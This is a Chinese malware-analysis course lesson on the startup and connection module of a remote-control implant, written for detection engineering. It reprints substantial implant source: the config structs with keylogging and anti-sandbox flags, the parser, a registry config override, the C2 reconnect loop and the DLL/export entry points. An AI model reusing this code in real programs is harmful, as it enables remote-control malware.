21 / 52 主插件与远程能力

第 21 课:主插件:上线模块

# 第 21 课:主插件:上线模块

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课定位:防御分析、源码阅读、配置提取和检测工程。 本课只讲源码结构、配置字段、连接生命周期和企业检测思路,不提供可直接复用的上线、控制、投递或规避步骤。

第 15 课讲了 主插件\HPSocket,也就是插件侧的网络基础设施。第 18 课讲了 shellcode 的加载与执行原理。现在回到更靠近业务入口的一层:主插件\上线模块

这一课的主线是:

配置数据 -> Analyze 解析 -> MyInfo 结构 -> MainThread 连接循环 -> HPSocket -> CKernelManager -> 版本请求/插件链
1

对新手来说,上线模块最重要的不是某个单独函数,而是把“配置字段”和“行为结果”对应起来。比如地址、端口、TCP/UDP、等待时间、重连时间、分组、版本、备注和若干功能开关,都会在后续主机行为、网络行为、注册表痕迹和插件请求中体现出来。

# 1. 本课学习目标

学完本课,你应该能回答这些问题:

问题 本课回答
上线模块在工程里做什么 解析配置、建立连接、创建管理器、发起版本请求
Info 结构为什么重要 它集中保存地址、端口、协议、时间、分组、版本和功能开关
Analyze 做了什么 从内嵌配置和注册表数据中解析字段并写入 MyInfo
MainThread 做了什么 根据 MyInfo 轮转地址、选择 TCP/UDP、连接后进入事件循环
为什么要关注注册表 IpDate 它可能覆盖部分网络配置,是持久化配置痕迹
为什么版本请求关键 它是上线后进入插件加载链的起点
企业如何检测 提取配置 IOC,关联注册表、线程、网络、心跳、插件请求

# 2. 本课涉及源码目录和文件

源码文件 关键位置 本课关注点
主插件\上线模块\上线模块\KernelManager.h 12-54 行 FunctionInfo 配置结构
主插件\上线模块\上线模块\上线模块.cpp 12-58 行 Debug 默认配置、Release 配置占位、配置键名
主插件\上线模块\上线模块\上线模块.cpp 86-115 行 Getfindinfo 字段解析函数
主插件\上线模块\上线模块\上线模块.cpp 118-187 行 Analyze 解析内嵌配置和注册表覆盖
主插件\上线模块\上线模块\上线模块.cpp 189-258 行 MainThread 连接轮转、协议选择、版本请求
主插件\上线模块\上线模块\上线模块.cpp 331-417 行 EXE/DLL/export/load/run 多入口路径
主插件\HPSocket\TcpSocket.cpp 55-304 行 TCP 连接和收发,由上线模块调用
主插件\HPSocket\UdpSocket.cpp 652-823 行 UDP 连接和收发,由上线模块调用
主插件\上线模块\上线模块\KernelManager.cpp 关联第 13 课 版本响应、插件缓存、模块加载链

# 3. 上线模块在整体工程中的位置

先看执行主线。

上线模块执行主线

上线模块不是一个孤立文件。它把前面几课的知识串起来:

前置专栏 在本课中的对应点
第 10 课:网络通信模型 连接、心跳、TCP/UDP 通信
第 11 课:协议与命令分发 TOKEN_GETVERSION 进入协议链
第 13 课:插件化设计与模块加载 CKernelManager 接收版本和插件数据
第 15 课:HPSocket CTcpSocket / CUdpSocket 的统一接口
第 18 课:被控 shellcode 生成与执行流程 load(TCHAR* code) 等入口与配置传入路径有关

本课按循序渐进顺序讲:

  1. 先看 Info 结构,知道配置能控制哪些行为。
  2. 再看 GetfindinfoAnalyze,知道配置如何进入结构体。
  3. 再看 MainThread,知道结构体如何驱动连接循环。
  4. 最后看入口函数,知道不同加载方式最终如何汇入同一条主线。

# 3.1 为什么要把上线模块设计成“轻入口”

上线模块在这套工程里不是负责所有功能的“大模块”。它更像一个启动器:先把配置读出来,建立第一条连接,然后把后续更复杂的登录模块和功能插件交给插件链路处理。

上线模块完整流程

这样设计有三个工程上的原因:

设计点 源码表现 防御侧理解
入口尽量小 _tmain / DllMain 最终都进入 MainThread 主机侧先看到少量线程和连接行为
配置集中 Analyze 把配置写入 MyInfo 配置提取可以优先围绕 Info 结构
功能后置 连接后只请求登录模块版本和数据 真正功能由登录模块和插件模块承接

上线模块设计分层

# 3.2 从入口到登录模块的完整触发顺序

把源码连起来看,上线模块完整流程是:

  1. EXE 入口 _tmain 或 DLL 入口/导出函数被触发。
  2. 调用 Analyze 解析内嵌配置和注册表覆盖配置。
  3. 创建 MainThread
  4. MainThread 根据 MyInfo 在三组地址之间轮转。
  5. 根据 IsTcp 选择 CTcpSocketCUdpSocket
  6. 连接成功后创建 CKernelManager
  7. 发送 TOKEN_GETVERSION,并携带 x86/x64 标识。
  8. 主控返回登录模块版本。
  9. 上线模块比较本地缓存版本。
  10. 必要时请求 登录模块.dll_bin
  11. 收到数据后写入内存和 HKCU\Console\0/1
  12. runLoginDllBin 启动登录模块。

下面这段代码是“上线模块为什么只做轻入口”的关键证据:

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:189-258
// 防御分析注释:
// 1. MainThread 不直接实现文件、屏幕、键盘等功能。
// 2. 它只负责按配置连接主控,然后创建 CKernelManager。
// 3. TOKEN_GETVERSION 是进入登录模块加载链的起点。
// 4. Token[1] 用于标识当前产物位数,主控据此选择 x86/x64 登录模块。
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    Sleep(_ttoi(MyInfo.szRunSleep) * 1000);

    ISocketBase* socketClient = NULL;
    void* ptcp = new CTcpSocket;
    void* pudp = new CUdpSocket;

    while (TRUE)
    {
        // 防御分析:这里根据 MyInfo 中的三组地址轮转连接目标。
        // 轮转行为会体现在网络侧:同一进程按固定节奏连接不同地址/端口。
        if (!changeip)
        {
            _tcscpy_s(szAddress, MyInfo.szAddress);
            _tcscpy_s(szPort, MyInfo.szPort);
            IsTcp = MyInfo.IsTcp;
            changeip = (!changeip);
        }
        else
        {
            _tcscpy_s(szAddress, MyInfo.szAddress2);
            _tcscpy_s(szPort, MyInfo.szPort2);
            IsTcp = MyInfo.IsTcp2;
            changeip = (!changeip);
        }

        socketClient = (IsTcp == 1) ? (ISocketBase*)ptcp : (ISocketBase*)pudp;
        Sleep(_ttoi(MyInfo.szHeart) * 1000);

        if (!socketClient->Connect(szAddress, _ttoi(szPort)))
            continue;

        CKernelManager manager(socketClient, MyInfo.otherset.puppet);

        BYTE Token[2] = {};
        Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
        Token[1] = 1;
#else
        Token[1] = 0;
#endif
        socketClient->Send(Token, 2);
        socketClient->run_event_loop();
        WaitForSingleObject(manager.hWorker, INFINITE);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

这段代码解释了本模块的边界:上线模块负责“连上去”和“把登录模块拉起来”,不负责具体功能操作。具体功能从第 22 课登录模块开始展开。

# 4. 配置核心:Function 与 Info

上线模块的配置集中在 KernelManager.h。先看两个结构体。

Info 结构字段分组

// 源码位置:主插件\上线模块\上线模块\KernelManager.h:12-34
// 防御分析注释:
// 1. Function 保存多个高风险功能开关,应作为配置提取重点。
// 2. 字段名能帮助分析人员理解样本意图,但不能仅凭字段名定性,需关联行为证据。
// 3. other1-other5 是扩展字段,分析配置时不要只看已命名开关。

struct Function
{
    BOOL IsKeyboard;        // 键盘离线记录
    BOOL IsAntiSimulation;  // 反沙箱
    BOOL ProtectedProcess;  // 进程保护
    BOOL antinet;           // 反查流量
    BOOL RunDllEntryProc;   // 是否运行 DLL 入口
    BOOL Processdaemon;     // 进程守护
    BOOL puppet;            // 傀儡进程
    BOOL special;
    BOOL bool4;
    BOOL bool5;
    TCHAR other1[255];
    TCHAR other2[255];
    TCHAR other3[255];
    TCHAR other4[255];
    TCHAR other5[255];
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 源码位置:主插件\上线模块\上线模块\KernelManager.h:36-54
// 防御分析注释:
// 1. Info 是上线模块最重要的配置结构。
// 2. 三组地址、端口、协议字段说明该模块支持连接轮转。
// 3. szRunSleep 和 szHeart 会影响主机侧等待和网络侧重连节奏。
// 4. szGroup、szVersion、Remark 是样本归类和 IOC 建模的重要线索。

struct Info
{
    char mark[30];          // 标记
    TCHAR szAddress[255];   // 地址 1
    TCHAR szPort[30];       // 端口 1
    BOOL IsTcp;             // 通信模式 1
    TCHAR szAddress2[255];  // 地址 2
    TCHAR szPort2[30];      // 端口 2
    BOOL IsTcp2;            // 通信模式 2
    TCHAR szAddress3[255];  // 地址 3
    TCHAR szPort3[30];      // 端口 3
    BOOL IsTcp3;            // 通信模式 3
    TCHAR szRunSleep[30];   // 运行等待
    TCHAR szHeart[30];      // 重连时间
    TCHAR szGroup[50];      // 分组
    TCHAR szVersion[50];    // 版本
    TCHAR Remark[50];       // 备注
    Function otherset;      // 其他设置
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

对新手来说,先不要急着看连接代码。先把 Info 当成“行为说明书”:

字段组 字段 对应行为
地址组 1 szAddressszPortIsTcp 第一组连接目标和协议
地址组 2 szAddress2szPort2IsTcp2 第二组连接目标和协议
地址组 3 szAddress3szPort3IsTcp3 低频备用连接目标
时间参数 szRunSleepszHeart 初始等待、重连等待
标识信息 szGroupszVersionRemark 分组、版本、备注
功能开关 otherset 后续功能和风险行为开关

企业侧做配置提取时,优先提取这些字段。它们能直接转化成 IOC、样本家族聚类线索、检测规则条件和事件关联字段。

# 5. Debug 配置与 Release 配置占位

源码里 Debug 和 Release 的配置方式不同。

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:12-54
// 防御分析注释:
// 1. Debug 分支内置本地测试配置,适合源码阅读时理解字段含义。
// 2. Release 分支中 MyInfo 初始化为空,后续依赖 Analyze 解析配置。
// 3. 教程只用这些字段解释结构,不把它整理成可运行配置。

#ifdef _DEBUG
Info MyInfo =
{
    "winos",
    _T("127.0.0.1"), _T("6666"), 1,
    _T("127.0.0.1"), _T("8888"), 1,
    _T("127.0.0.1"), _T("80"), 1,
    _T("3"),
    _T("3"),
    _T("默认"),
    _T("1.0"),
    _T("测试备注"),
};
#else
Info MyInfo = {};
#endif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

Debug 配置适合用来理解字段,但不要把它当成真实环境的固定 IOC。Release 分支中真正重要的是后面的 confiAnalyze

# 6. 配置键名:从字符串到字段

源码在 上线模块.cpp 中给出了配置键名。

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:58-59
// 防御分析注释:
// 1. 这一行注释暴露了配置键和 Info 字段的映射关系。
// 2. 配置字符串是静态分析和内存取证时的重要线索。
// 3. confi 是 Release 解析的入口之一,但实际样本可能被构建过程改写。

// _T("|p1:地址1|o1:端口1|t1:通信1|p2:地址2|o2:端口2|t2:通信2|p3:地址3|o3:端口3|t3:通信3|dd:等待|cl:重连|fz:分组|bb:版本|bz:备注|jp:键盘|sx:沙箱|bh:保护|ll:流量|dl:入口|sh:守护|kl:傀儡|bd:特别");
TCHAR confi[1000] = _T("xiugaishiyong");
1
2
3
4
5
6
7
8

配置键可以整理成下面这张表:

键名 写入字段 含义
p1 szAddress 地址 1
o1 szPort 端口 1
t1 IsTcp 协议 1
p2 szAddress2 地址 2
o2 szPort2 端口 2
t2 IsTcp2 协议 2
p3 szAddress3 地址 3
o3 szPort3 端口 3
t3 IsTcp3 协议 3
dd szRunSleep 运行等待
cl szHeart 重连等待
fz szGroup 分组
bb szVersion 版本
bz Remark 备注
jp/sx/bh/ll/dl/sh/kl/bd otherset 功能开关

从检测角度看,这些短键名很有价值。它们既可能出现在静态字符串里,也可能出现在内存、配置块或注册表二进制数据中。

# 7. 配置解析路径

配置解析路径

Getfindinfo 是一个手写字段解析函数。它从配置字符串里找某个键名,找到后把后面的内容复制到目标字段,直到遇到 |

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:86-115
// 防御分析注释:
// 1. f1 是要查找的键名,例如 "p1:"、"o1:"。
// 2. outstring 非空时复制字符串字段,user 非空时解析布尔开关。
// 3. 这类手写解析容易出现边界问题,分析时要关注目标缓冲区长度和分隔符。
// 4. 防御侧可基于键名、分隔符和字段顺序提取配置。

void Getfindinfo(TCHAR* s, const TCHAR* f1, TCHAR* outstring, BOOL* user)
{
    if (outstring)
        ZeroMemory(outstring, lstrlen(outstring) * 2 + 2);

    int all = (int)lstrlen(s);
    int da = (int)lstrlen(f1);

    for (int i = 0; i < all; i++)
    {
        int j = 0;
        for (; j < da; j++)
            if (s[i + j] != f1[j])
                break;

        if (j == da)
        {
            i += da;
            int first = i;

            for (; i < all; i++)
            {
                if (s[i] == _T('|'))
                {
                    if (outstring)
                        memcpy(outstring, s + first, (i - first) * 2);
                    else if (s[i - 1] == _T('1'))
                        *user = TRUE;
                    return;
                }
            }
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

安全风险主要在边界:键名查找、字符串复制和目标缓冲区长度都需要谨慎处理。企业侧做检测时,则可以反过来利用这些键名和分隔符还原配置。

# 8. Analyze:把配置写入 MyInfo

Analyze 是上线模块配置解析的主函数。

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:118-155
// 防御分析注释:
// 1. Release 分支才执行配置解析;Debug 分支直接返回。
// 2. isrun 防止重复解析。
// 3. _tcsrev(confi) 表示配置进入解析前会被反转。
// 4. ZeroMemory(&MyInfo, sizeof(Info)) 会清空原有配置。
// 5. 连续 Getfindinfo 调用建立了“键名 -> MyInfo 字段”的完整映射。

void Analyze()
{
#ifdef _DEBUG
    return;
#else
    static bool isrun = false;
    if (isrun)
        return;
    isrun = true;

    _tcsrev(confi);
    ZeroMemory(&MyInfo, sizeof(Info));

    Getfindinfo(confi, _T("p1:"), MyInfo.szAddress, NULL);
    Getfindinfo(confi, _T("o1:"), MyInfo.szPort, NULL);
    Getfindinfo(confi, _T("t1:"), NULL, &(MyInfo.IsTcp));

    Getfindinfo(confi, _T("p2:"), MyInfo.szAddress2, NULL);
    Getfindinfo(confi, _T("o2:"), MyInfo.szPort2, NULL);
    Getfindinfo(confi, _T("t2:"), NULL, &(MyInfo.IsTcp2));

    Getfindinfo(confi, _T("p3:"), MyInfo.szAddress3, NULL);
    Getfindinfo(confi, _T("o3:"), MyInfo.szPort3, NULL);
    Getfindinfo(confi, _T("t3:"), NULL, &(MyInfo.IsTcp3));

    Getfindinfo(confi, _T("dd:"), MyInfo.szRunSleep, NULL);
    Getfindinfo(confi, _T("cl:"), MyInfo.szHeart, NULL);
    Getfindinfo(confi, _T("fz:"), MyInfo.szGroup, NULL);
    Getfindinfo(confi, _T("bb:"), MyInfo.szVersion, NULL);
    Getfindinfo(confi, _T("bz:"), MyInfo.Remark, NULL);

    Getfindinfo(confi, _T("jp:"), NULL, &(MyInfo.otherset.IsKeyboard));
    Getfindinfo(confi, _T("sx:"), NULL, &(MyInfo.otherset.IsAntiSimulation));
    Getfindinfo(confi, _T("bh:"), NULL, &(MyInfo.otherset.ProtectedProcess));
    Getfindinfo(confi, _T("ll:"), NULL, &(MyInfo.otherset.antinet));
    Getfindinfo(confi, _T("dl:"), NULL, &(MyInfo.otherset.RunDllEntryProc));
    Getfindinfo(confi, _T("sh:"), NULL, &(MyInfo.otherset.Processdaemon));
    Getfindinfo(confi, _T("kl:"), NULL, &(MyInfo.otherset.puppet));
    Getfindinfo(confi, _T("bd:"), NULL, &(MyInfo.otherset.special));
#endif
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

Analyze 的阅读重点不是某个 Getfindinfo 调用,而是“配置进入结构体”的完整映射。只要 MyInfo 填好了,后面的连接循环就会按这些字段行动。

# 9. 注册表覆盖:HKCU\Console\IpDate

Analyze 后半段还会读取注册表。

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:157-187
// 防御分析注释:
// 1. 读取位置为 HKCU\Console\IpDate。
// 2. 类型为 REG_BINARY,读出后仍按配置字符串解析。
// 3. 如果读取到的数据长度大于 10,会覆盖三组地址、端口和协议字段。
// 4. 企业侧应把该注册表位置纳入配置痕迹排查。

HKEY hKey = NULL;
DWORD dwDisposition;
RegCreateKeyEx(HKEY_CURRENT_USER,
    _T("Console"),
    0,
    NULL,
    REG_OPTION_NON_VOLATILE,
    KEY_ALL_ACCESS,
    NULL,
    &hKey,
    &dwDisposition);

DWORD dwSize = 1000;
DWORD dwType = REG_BINARY;
ZeroMemory(confi, sizeof(confi));

if (RegQueryValueEx(hKey, _T("IpDate"), NULL, &dwType, (LPBYTE)confi, &dwSize) == ERROR_SUCCESS)
{
    if (dwSize > 10)
    {
        Getfindinfo(confi, _T("p1:"), MyInfo.szAddress, NULL);
        Getfindinfo(confi, _T("o1:"), MyInfo.szPort, NULL);
        Getfindinfo(confi, _T("t1:"), NULL, &(MyInfo.IsTcp));

        Getfindinfo(confi, _T("p2:"), MyInfo.szAddress2, NULL);
        Getfindinfo(confi, _T("o2:"), MyInfo.szPort2, NULL);
        Getfindinfo(confi, _T("t2:"), NULL, &(MyInfo.IsTcp2));

        Getfindinfo(confi, _T("p3:"), MyInfo.szAddress3, NULL);
        Getfindinfo(confi, _T("o3:"), MyInfo.szPort3, NULL);
        Getfindinfo(confi, _T("t3:"), NULL, &(MyInfo.IsTcp3));
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

这里有一个很重要的防御结论:静态配置不一定是最终配置。运行时可能从注册表覆盖网络地址相关字段。

因此企业侧排查时要同时看三处:

位置 价值
二进制静态字符串 可能包含配置键名和默认配置
进程内存 可能包含反转后或解析后的配置
HKCU\Console\IpDate 可能包含覆盖后的地址、端口、协议

# 10. MainThread:连接循环主线

MainThread 是上线模块的运行主线。它读取 MyInfo,选择地址和协议,连接后创建 CKernelManager,然后发送版本请求。

连接轮转时序

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:189-258
// 防御分析注释:
// 1. szRunSleep 控制初始等待,szHeart 控制重连等待。
// 2. 地址 1 和地址 2 交替使用,每 200 次切换到地址 3。
// 3. IsTcp 决定使用 CTcpSocket 还是 CUdpSocket。
// 4. 连接成功后创建 CKernelManager,并发送 TOKEN_GETVERSION。
// 5. 这条链会进入第 13 课讲过的插件版本和加载流程。

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    Sleep(_ttoi(MyInfo.szRunSleep) * 1000);

    ISocketBase* socketClient = NULL;
    void* ptcp = new CTcpSocket;
    void* pudp = new CUdpSocket;

    while (TRUE)
    {
        TCHAR* szAddress = NULL;
        TCHAR* szPort = NULL;
        BOOL IsTcp = TRUE;

        if (!changeip)
        {
            szAddress = MyInfo.szAddress;
            szPort = MyInfo.szPort;
            IsTcp = MyInfo.IsTcp;
            changeip = !changeip;
        }
        else
        {
            szAddress = MyInfo.szAddress2;
            szPort = MyInfo.szPort2;
            IsTcp = MyInfo.IsTcp2;
            changeip = !changeip;
        }

        m_time_con++;
        if (m_time_con == 200)
        {
            szAddress = MyInfo.szAddress3;
            szPort = MyInfo.szPort3;
            IsTcp = MyInfo.IsTcp3;
            m_time_con = 0;
        }

        if (socketClient)
            socketClient->Disconnect();

        if (IsTcp == 1)
            socketClient = (CTcpSocket*)ptcp;
        else
            socketClient = (CUdpSocket*)pudp;

        Sleep(_ttoi(MyInfo.szHeart) * 1000);

        if (!socketClient->Connect(szAddress, _ttoi(szPort)))
            continue;

        CKernelManager manager(socketClient, MyInfo.otherset.puppet);

        BYTE Token[2] = {};
        Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
        Token[1] = 1;
#else
        Token[1] = 0;
#endif

        socketClient->Send(Token, 2);
        socketClient->run_event_loop();
        WaitForSingleObject(manager.hWorker, INFINITE);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

把这段代码按生命周期拆开:

阶段 源码动作 行为结果
初始等待 Sleep(_ttoi(MyInfo.szRunSleep) * 1000) 进程启动后延迟进入连接流程
选择地址 地址 1/2 交替,计数到 200 用地址 3 网络连接目标轮转
选择协议 IsTcp == 1 用 TCP,否则 UDP TCP/UDP 行为分支
重连等待 Sleep(_ttoi(MyInfo.szHeart) * 1000) 形成固定重连节奏
建立连接 socketClient->Connect(...) 进入 HPSocket 层
创建管理器 CKernelManager manager(...) 进入插件管理链
版本请求 TOKEN_GETVERSION 请求主控端返回插件版本
事件循环 run_event_loop() 持续接收后续数据

这里最适合做企业检测关联:配置字段能解释行为,行为又能反推配置。

# 11. 版本请求与插件链

上线模块连接成功后,马上发送两字节 token:

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:242-253
// 防御分析注释:
// 1. TOKEN_GETVERSION 是上线后进入插件链的入口。
// 2. Token[1] 表示 x86/x64 位数,主控端据此选择不同插件版本。
// 3. 防御侧应把“连接成功后的短版本请求”和后续“大插件数据包”关联起来。

BYTE Token[2] = {};
Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
Token[1] = 1;
#else
Token[1] = 0;
#endif

socketClient->Send(Token, 2);
socketClient->run_event_loop();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

这部分和第 13 课的 CKernelManager 对应:

上线模块连接成功
  -> 发送 TOKEN_GETVERSION
  -> CKernelManager 接收版本信息
  -> 判断本地缓存是否可用
  -> 必要时请求插件数据
  -> 写入内存或注册表缓存
  -> 进入插件加载链
1
2
3
4
5
6
7

从检测角度,不要把上线连接和插件加载割裂开。很多场景下,真正高风险的部分发生在连接成功之后:版本协商、插件下发、内存分配、模块入口调用等。

# 12. 多入口路径

源码提供了多个入口,但最终都会汇入 AnalyzeMainThread

上线模块入口路径

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:331-344
// 防御分析注释:
// 1. EXE 入口直接 Analyze,然后创建 MainThread。
// 2. WaitForSingleObject 会让主线程等待工作线程。

int _tmain(int argc, _TCHAR* argv[])
{
    Analyze();
    HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:350-376
// 防御分析注释:
// 1. DLL 入口在进程附加时检查配置长度。
// 2. RunDllEntryProc 开关决定是否在 DLL 入口启动线程。
// 3. DLL 入口内创建长生命周期线程是主机侧重点观察行为。

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        if (lstrlen(confi) > 30)
        {
            Analyze();
            if (MyInfo.otherset.RunDllEntryProc)
            {
                HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
                WaitForSingleObject(hThread, INFINITE);
            }
        }
        break;
    }
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:388-417
// 防御分析注释:
// 1. 导出函数和 load/run 入口最终也会创建 MainThread。
// 2. load(TCHAR* code) 会把外部传入的 code 拷贝到 confi,再执行 Analyze。
// 3. 分析时应把不同入口统一归并到“配置解析 -> 线程启动”这条路径。

extern "C" __declspec(dllexport) PVOID zidingyixiugaidaochuhanshu()
{
    Analyze();
    HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
    WaitForSingleObject(hThread, INFINITE);
    return NULL;
}

extern "C" __declspec(dllexport) void load(TCHAR* code)
{
    lstrcpy(confi, code);
    Analyze();
    HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
    WaitForSingleObject(hThread, INFINITE);
}

extern "C" __declspec(dllexport) void run()
{
    HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
    WaitForSingleObject(hThread, INFINITE);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

对新手来说,入口函数看起来很多,但不要被绕晕。统一看成一条主线即可:

入口函数
  -> 可选:传入或检查配置
  -> Analyze
  -> CreateThread(MainThread)
  -> 连接循环
1
2
3
4
5

# 13. 配置字段如何变成行为线索

InfoMainThread 对起来看,就能把配置转成检测线索。

配置字段 行为表现 检测价值
szAddress/szPort 网络连接目标 IOC、流量关联
IsTcp TCP 或 UDP 分支 协议维度建模
szAddress2/szPort2 第二连接目标 轮转和备用地址识别
szAddress3/szPort3 低频备用连接目标 长时间观测才能发现
szRunSleep 启动后延迟 进程启动到首包的时间差
szHeart 重连间隔 网络重试周期
szGroup 分组标识 样本归类
szVersion 版本标识 插件链版本协商
Remark 备注 运营或分类线索
otherset 高风险开关 与主机行为关联验证

这张表就是企业侧提取配置后的使用方式:不是只把字段存下来,而是用字段解释行为。

# 14. 企业检测点

上线模块检测关联

可以按六类信号关联。

类型 检测点 说明
配置 IOC 地址、端口、协议、分组、版本 从静态字符串、内存、注册表提取
注册表 HKCU\Console\IpDate 关注 REG_BINARY 配置覆盖
网络事件 连接、心跳、重连、TCP/UDP 分支 szHeartIsTcp 对应
进程线程 CreateThread 后长时间等待 多入口最终都启动 MainThread
插件请求 TOKEN_GETVERSION 后的版本/插件链 关联第 13 课模块加载行为
内存行为 后续插件数据缓存和加载 关注 RWX 内存和未知入口调用

企业侧可以建立这样的事件关联思路:

  1. 进程出现 DLL 入口或导出函数触发的线程创建。
  2. 线程启动后延迟一段时间发起网络连接。
  3. 连接目标在两组地址之间轮转,长周期出现第三组地址。
  4. 连接成功后出现短版本请求。
  5. 后续出现插件数据接收、注册表缓存或内存加载行为。
  6. 注册表中存在 HKCU\Console\IpDate 或内存中出现 p1/o1/t1 等配置键。

这些信号联合出现时,比单独看到一个 IP 或一个线程更有判断价值。

# 15. 安全检查项

检查项 检查原因 建议
是否能完整提取三组地址 只提取第一组可能漏掉备用连接目标 同时提取 p1/p2/p3 与端口、协议
是否检查注册表覆盖 静态配置可能不是最终配置 排查 HKCU\Console\IpDate
是否记录协议分支 TCP/UDP 行为差异明显 检测规则分开建模
是否关注启动延迟 延迟连接可绕开简单启动监控 关联进程启动时间和首个网络事件
是否关联版本请求 上线后进入插件链的关键节点 把短版本包和后续大包关联
是否识别多入口 EXE/DLL/export/load/run 都可能进入同一主线 统一归并到 MainThread 行为
是否验证功能开关 字段名只是线索 必须结合实际主机行为判断

# 16. 常见误区

误区一:只看第一组地址。

源码明确支持三组地址。第一组和第二组交替使用,第三组每 200 次连接尝试才会使用。短时间抓包可能看不到第三组。

误区二:把 Debug 默认配置当作真实 IOC。

Debug 里的本地地址主要用于开发测试。真正分析 Release 样本时,应以配置块、内存和注册表为准。

误区三:看到 IsTcp 就只写 TCP 检测。

IsTcpIsTcp2IsTcp3 是三组独立协议字段。不同地址可能使用不同协议。

误区四:把入口函数当成不同模块。

入口很多,但最终路径相近:配置解析、创建线程、进入连接循环。分析时应合并同类路径。

误区五:只提取地址端口,不提取分组和版本。

分组、版本、备注常常对样本聚类更有帮助。尤其是版本字段,会和插件更新链发生关系。

# 17. 合法练习题

  1. Info 结构整理一份字段表,标出每个字段对应的行为表现。
  2. 画出 Analyze -> MyInfo -> MainThread 的数据流图。
  3. 解释为什么 HKCU\Console\IpDate 可能导致静态配置和运行配置不一致。
  4. 根据 MainThread 写出地址 1、地址 2、地址 3 的轮转规则,不需要运行程序。
  5. 设计一套企业检测思路:同时使用配置键名、注册表、网络连接、版本请求和线程创建五类信号。
  6. 阅读第 13 课内容,说明 TOKEN_GETVERSION 后续如何进入插件版本和加载链。

# 18. 本课小结

上线模块是主插件链路里的“启动与连接调度器”。它先把配置写入 MyInfo,再由 MainThread 按配置选择地址、端口、协议、等待时间和重连节奏。连接成功后,它创建 CKernelManager 并发送 TOKEN_GETVERSION,进入后续插件版本和模块加载流程。

从防御角度看,本课最重要的是建立配置与行为之间的映射:地址端口对应网络 IOC,协议字段对应 TCP/UDP 分支,时间字段对应延迟和重连,分组版本对应样本聚类,注册表 IpDate 对应运行时配置覆盖,多入口函数对应线程启动链。把这些信号关联起来,才能形成稳定的企业检测视角。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>